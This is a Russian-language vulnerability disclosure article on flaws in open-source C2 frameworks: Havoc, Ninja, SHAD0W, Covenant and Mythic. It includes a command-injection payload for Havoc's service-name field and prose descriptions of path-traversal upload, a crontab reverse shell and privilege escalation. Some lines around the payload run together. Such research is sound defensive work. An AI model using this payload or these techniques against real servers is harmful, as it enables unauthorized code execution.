Teamserver Havoc также написан на Go, но клиентская часть выполнена на C++ и имеет графический интерфейс на базе Qt, а агент написан на C и ASM. Основное преимущество Havoc перед Sliver заключается в классном графическом интерфейсе, который напоминает Cobalt Strike с визуализацией активных сессий на взломанных машинах. Я заметил, что код Havoc менее зрелый по сравнению с Sliver и содержит некоторые недоработки в нескольких местах, хотя он улучшается по мере того, как разработчики рефакторят исходный код. Стандартный агент Havoc («демон») способен выполнять
shellcode в удаленных процессах с использованием внедрения в процесс, а также выполнять BOF-файлы через .NET inline assembly. По сравнению с Sliver, библиотека расширений меньше и требует немного больше усилий для написания расширения. Учитывая, что Havoc был начат как хобби-проект подростком-разработчиком, это чрезвычайно впечатляюще, и, вероятно, у него лучший пользовательский интерфейс среди всех C2-фреймворков.Еще одна аутентифицированная командная инъекция
В Havoc имеется уязвимость удаленного выполнения команд (RCE) с аутентификацией в teamserver, аналогичная той, что есть в Sliver. Кроме того, стандартная конфигурация Havoc создает двух пользователей с паролем "password1234", поэтому любой, кто недостаточно осторожен, чтобы запускать Havoc с настройками по умолчанию в ненадежной сети, может быть немедленно подвергнут эксплуатации через эту уязвимость RCE. Teamserver'ы, которые защищены файерволом, все равно могут быть атакованы из-за интересной уязвимости SSRF, недавно обнаруженной chebuya.
Вызов
exec.Command() используется для компиляции пользовательских агентов от имени пользователей, и каждый параметр клиента проверяется, кроме одного: поля "Имя сервиса". Поскольку запускается программа sh -c, команду компиляции можно отменить и вместо нее выполнить произвольную команду. Результаты даже можно просмотреть в интерфейсе Havoc, хотя всю атаку также можно автоматизировать, используя протокол WebSockets teamserver'а.Полезная нагрузка для инъекции в поле имени сервиса выглядит примерно так:
\" -mbla; CMD 1>&2 && false #:\"ыход из кавычек-mbla, чтобы вызвать сбой компиляции MinGW и не ждать этого- перенаправь
CMD 1>&2с выбранной полезной нагрузкой вstderr #чтобы закомментировать параметры после нашей инъекции
Некоторое время до этого я также обнаружил обход аутентификации в функции API сервиса Havoc. Логика аутентификации перебирает имена пользователей и пароли, но если ни одно из них не совпадало, функция не возвращала false. Это означало, что вредоносный сервис мог подключиться к серверу команды, предоставить неправильный пароль и продолжать отправлять сообщения серверу команды, которые тот будет считать авторизованными.
Код Service API отделён от кода генерации пользовательского агента, иначе, если бы они были объединены, это могло бы привести к полной неаутентифицированной цепочке до root-доступа к серверу команды Havoc с использованием этих двух уязвимостей.
В ответ на раскрытие информации разработчик Havoc отметил меня в примечаниях к выпуску Havoc, добавил в закрытый канал для участников и разработчиков, а также пригласил искать больше уязвимостей. Обход аутентификации в API сервиса исправлен, но аутентифицированная возможность удалённого выполнения кода всё ещё присутствует в основной ветке Havoc, так как все усилия по разработке теперь сосредоточены на ветке переписывания.
Ninja
Введение
Я обнаружил аутентифицированные RCE (удалённое выполнение кода) в двух популярных open source C2 фреймворках, но не нашёл способа превратить их в полностью неаутентифицированные RCE. Для этого мне нужно было изучить менее известные фреймворки.
Ninja C2 основан на утекшем коде MuddyC3, который использовался иранской APT-группой. Сервер команды написан на Python, а агенты используют PowerShell. Целью его разработки является скрытность, и ряд его поведений меняется каждый раз при запуске новой кампании. Например, сервер команды генерирует запутанные URL-адреса обратных вызовов веб-сервера, которые меняются с каждой кампанией. Многие функции Sliver и Havoc присутствуют, хотя и в более базовой форме. В сопутствующих блогах утверждается, что на момент выхода Ninja мог обходить основные антивирусные и SIEM-продукты, показывая, что незнакомая сигнатура атаки — это всё, когда речь идет о скрытности.
Неаутентифицированная произвольная загрузка файлов
Веб-сервер Ninja уязвим для неаутентифицированной произвольной загрузки файлов через обход директорий (path traversal). Это приводит к немедленному выполнению произвольного кода (RCE) против сервера команды, когда он работает с правами root, или к выполнению произвольного кода при следующем перезапуске сервера команды.
Предпосылки уязвимости такие же, как у эксплойта Skywalker против фреймворка Empire из 2016 года, классической уязвимости в C2 фреймворке, для которой существует собственный модуль Metasploit. Эксплойт Skywalker возникает, когда:
- Сервер команды содержит конечную точку загрузки, к которой агент может обратиться.
- Агент может предоставить полный путь к файлу, который он загружает на сервер команды.
- Параметр пути к файлу уязвим для обхода путей.
В случае с Ninja агент также не требует какого-либо специального секрета для регистрации на командном сервере Ninja. Злоумышленник может создать поддельного агента, вызвать конечную точку регистрации, а затем загрузить вредоносный файл в произвольное место на командном сервере. Единственным препятствием является то, что URL-адреса конечных точек выбираются случайным образом из списка для каждой кампании, но сам список достаточно короткий, чтобы его можно было перебрать методом грубой силы. Скрипт эксплуатации реализует это с помощью обратного вызова оболочки в crontab.
Я несколько раз обращался к разработчику Ninja, но не получил ответа.
SHAD0W
Введение
SHAD0W — это C2-фреймворк с бэкендом на Python и агентами, написанными на C. Он был популярен три года назад, но с тех пор его разработка не велась. Интерфейс представляет собой классическую хакерскую командную строку, похожую на Sliver. Основной особенностью SHAD0W является его модульность, с чистой кодовой базой и простым протоколом для добавления новых команд и модулей. Другой акцент сделан на скрытность, с агентом, который реализует защиту от DLL-инъекций, динамически разрешаемые системные вызовы и захват потоков для инъекций в процессы. Я считаю, что жаль, что разработка SHAD0W прекратилась, так как мне было проще разобраться в коде этого фреймворка по сравнению с большинством других.
Неаутентифицированное удалённое выполнение кода
SHAD0W уязвим к неаутентифицированному удалённому выполнению кода, когда ненадёжные данные, предоставленные агентами, внедряются в команды, выполняемые на сервере команды. Когда новый агент (в терминологии SHAD0W —
маяк) подключается к серверу команды, маяк сообщает архитектуру, операционную систему, домен и другую информацию о скомпрометированной системе.В SHAD0W модули маяка компилируются по запросу на сервере команды для целевой системы. Несколько модулей в SHAD0W используют произвольные значения, предоставленные маяком, в качестве параметров при компиляции shell-кода. Например, модуль migrate, который реализует миграцию процессов, передает значение архитектуры в
buildtools.make_in_clone(). Это значение в конечном итоге интерполируется в вызов функции os.system() для команды make.Значения, предоставленные маяком, отображаются оператору C2, когда маяк впервые подключается к серверу команды, поэтому здесь требуется определенный уровень обфускации, чтобы замаскировать полезную нагрузку и вызвать у оператора любопытство для взаимодействия с маяком. Когда оператор взаимодействует с маяком и использует модуль migrate, команда злоумышленника выполняется на сервере команды.
Я несколько раз обращался к разработчику SHAD0W, но не получил ответа.
Covenant
Введение
Covenant — это еще один фреймворк, который был популярен 3-4 года назад и был выбран для первой итерации курса Red Team Ops от Zero Point Security. Сервер написан на C#, а клиент представляет собой веб-приложение на C# Blazor. С тех пор фреймворк практически не развивался. Он обладает рядом интересных функций, включая чистый веб-интерфейс, криптографическую прямую секретность для связи между агентом и сервером, а также профили слушателей для динамического изменения вида этой связи в сети.
Эскалация привилегий
Обе текущие ветки master и dev фреймворка Covenant уязвимы для эскалации привилегий с уровня Пользователя до Администратора. API блокирует редактирование ролей, если вы не являетесь Администратором, однако в самом пользовательском интерфейсе пользователь может назначить себе роль Администратора.
Теперь пользователь имеет доступ к самой мощной функции Covenant — возможности создавать профили HTTP-листенеров, что доступно только Администраторам. Хотя в Covenant нет встроенного способа получить оболочку на сервере, функция HTTP-профилей фактически позволяет выполнять код на C# на сервере, что дает возможность настраивать трафик, отправляемый и получаемый агентами.
Еще одна аутентифицированная инъекция команд
Код на C# ограничен тем, что компилятор Covenant ограничивает пространство имен System библиотекой
System.Private.CoreLib.dll, что означает, что Process нельзя использовать напрямую. Однако предыдущее интересное исследование Covenant от 0xcoastal нашло блог-пост Тима Малкольмветтера, в котором показано, что для выполнения инъекции процесса произвольных .NET-ассемблей требуются только классы Activator и Assembly. Это исследование оставило написание доказательства концепции эксплойта как упражнение для читателя, поэтому я реализовал скрипт атаки, завершив эскалацию от пользователя с низкими привилегиями до оболочки на сервере команды Covenant.Разработчик Covenant признал уязвимость, связанную с повышением привилегий, и сообщил, что она будет исправлена в следующий раз, когда он будет работать над Covenant. Он попросил включить следующее дополнение: "Сетевого доступа к слушателю Covenant недостаточно для этой уязвимости. Эта уязвимость требует логического доступа к управляющему порту Covenant, который никогда не должен быть публично доступен. Это аутентифицированное повышение привилегий, требующее доступа к действующей, существующей учетной записи пользователя. Известно и задумано, что выполнение удаленного кода на сервере Covenant через управляющий интерфейс в качестве административного пользователя с использованием пользовательских профилей является функциональностью. Хотя Covenant в настоящее время не находится в активной разработке, он все еще в стадии бета-тестирования (до версии 1.0). Covenant разрабатывается как хобби и никогда не подвергался профессиональной оценке на предмет рисков безопасности."
Mythic
Введение
Одной из популярных C2-платформ, которая пока отсутствует, является Mythic. Mythic отличается от большинства C2 тем, что это модульная платформа, которую необходимо настраивать, так как она не поставляется с встроенным агентом. Каждая часть системы Mythic имеет свой собственный контейнер Docker, и запуск Mythic по умолчанию включает запуск восьми контейнеров Docker (один для веб-сервера, один для базы данных, один для GraphQL API и т.д.), после чего вы добавляете дополнительные контейнеры для конкретных агентов и транспортов, которые вы хотите использовать.
Это позволило Mythic сосредоточиться больше на архитектуре и опыте совместной работы на сервере команды, а не на создании скрытных агентов. Веб-интерфейс может выглядеть немного устаревшим на первый взгляд, но как только вы начинаете взаимодействовать с сервером, становится ясно, что Mythic обладает множеством функций серверной части и удобных функций, больше, чем любая другая C2-платформа, которую я рассматривал. Платформа имеет полное управление ролями пользователей и сервисных учетных записей и позволяет запускать кампании с участием различных операторов с несколькими уровнями разрешений. Mythic также продвинут в плане отслеживания всего, что происходит во время кампании, и данные легко поддаются поиску, что ускоряет составление отчетов.
В ходе быстрого обзора кода, который я провел, я не обнаружил явных недостатков в аутентификации и логике API Mythic, а также возможностей для удаленного выполнения кода (RCE) на сервере Mythic. Однако Mythic оказался избыточным для лабораторий HackTheBox, которыми я занимался, поэтому я не углублялся в него. Он выглядит отличным решением для более крупных операций и в настоящее время развивается более активно, чем любая другая открытая C2-платформа. Интересно, станет ли это будущим открытых C2-платформ — модульная платформа для совместной работы, в которую вы можете легко интегрировать своего собственного агента или даже разработать собственный интерфейс API, вместо тесной интеграции компонентов агента, клиента и серверной части команды.
Заключение
В целом, в ходе этого исследования я узнал несколько вещей. C2-фреймворки предназначены для того, чтобы помогать вам выполнять команды на компьютерах других людей, но, иронично, многие из них уязвимы к выполнению несанкционированных команд на них самих. В некоторых случаях простое запуск этих фреймворков с настройками по умолчанию в публичной сети (например, в VPN HackTheBox) делает вас уязвимыми для удаленного выполнения кода (RCE). Я считаю, что это важно подчеркнуть, так как многие пользователи — это любители, которые экспериментируют и участвуют в CTF с друзьями, и не занимаются сложным операционным развертыванием серверов команды.
Источником уязвимостей является сложность и количество ролей, которые сервер команды должен выполнять в C2-фреймворках. Сервер команды компилирует эксплойты от имени операторов, отображает данные из внешних ненадежных IP в интерфейсе и загружает файлы с взломанных систем. Предотвращение эксплуатации этих функций требует строгой валидации любого внешнего ввода и минимизации числа вызовов функций system(). Тестируемые C2-фреймворки обычно выполняли эту валидацию, но допускали одну ошибку, из-за которой ввод атакующего попадал в мощные функции. Фреймворки имеют наилучшие шансы избежать таких уязвимостей, строго соблюдая границы данных между агентом, сервером команды и клиентом. Например, сравните подход Ninja и Sliver к условиям уязвимости Skywalker (в разделе Ninja выше).
Меня удивило, сколько классных открытых C2-фреймворков больше не поддерживаются. Помимо обычных ограничений по времени и интересу разработчиков с открытым исходным кодом, я задаюсь вопросом, существует ли цикл, когда новые фреймворки вызывают ажиотаж из-за возможности обхода Defender при их первом выпуске, но вскоре для них создаются сигнатуры. Современные технологии быстро развиваются, и разработчики устают от большого количества простых проблем, которые им отправляют. Однако я ожидаю, что существует множество активных частных форков публично "мертвых" фреймворков.
Это еще одна причина, почему модель «принеси своего агента» имеет смысл для открытых C2-фреймворков (как обсуждалось в подкасте Atomics on a Friday). Стандартные транспортные и маяковые поведения Cobalt Strike настолько сильно отпечатаны, что требуют значительных исправлений и настройки для работы в хорошо защищенных средах. Как только открытые C2-фреймворки выпускаются, их агенты и транспортные протоколы начинают страдать от той же участи. Клиентская часть сервера команды и сам клиент являются компонентами системы, которые наименее подвержены риску. Сделать эти неэкспонированные компоненты надежными/безопасными/функционально богатыми с ожиданием, что операторы разработают свои собственные закрытые агенты и транспорты для обхода, — это практическое решение в дизайне.
Здесь публикуются уязвимости в виде демонстрационных примеров (proof of concept).
